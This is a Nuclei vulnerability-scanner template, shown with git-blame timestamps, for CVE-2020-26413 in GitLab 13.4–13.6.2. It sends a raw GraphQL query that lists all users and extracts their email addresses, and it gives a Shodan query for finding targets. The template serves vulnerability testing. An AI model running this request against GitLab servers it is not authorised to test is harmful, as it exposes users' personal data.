nuclei-templates/http/cves/2020/CVE-2020-26413.yaml

56 lines
1.7 KiB
YAML
Raw Normal View History

2021-11-06 12:52:50 +00:00
id: CVE-2020-26413
info:
name: Gitlab CE/EE 13.4 - 13.6.2 - Information Disclosure
2021-11-06 14:48:27 +00:00
author: _0xf4n9x_,pikpikcu
2021-11-06 12:52:50 +00:00
severity: medium
description: GitLab CE and EE 13.4 through 13.6.2 is susceptible to Information disclosure via GraphQL. User email is visible. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2021-11-06 12:52:50 +00:00
reference:
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
- https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
- https://nvd.nist.gov/vuln/detail/CVE-2020-26413
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-26413
cwe-id: CWE-200
cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
epss-score: 0.70208
metadata:
max-request: 1
shodan-query: http.title:"GitLab"
2022-03-02 07:35:29 +00:00
tags: cve,cve2020,gitlab,exposure,enum,graphql
2021-11-06 12:52:50 +00:00
http:
2021-11-06 12:52:50 +00:00
- raw:
- |
POST /api/graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
2021-11-06 17:06:37 +00:00
"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }",
"variables": null,
"operationName": null
}
2021-11-06 12:52:50 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2021-11-06 17:06:37 +00:00
- '"username":'
- '"avatarUrl":'
- '"node":'
2021-11-06 12:52:50 +00:00
condition: and
- type: status
status:
- 200
2021-11-06 14:48:27 +00:00
extractors:
2021-11-06 17:06:37 +00:00
- type: json
2021-11-06 14:48:27 +00:00
part: body
2021-11-06 17:06:37 +00:00
json:
- '.data.users.edges[].node.email'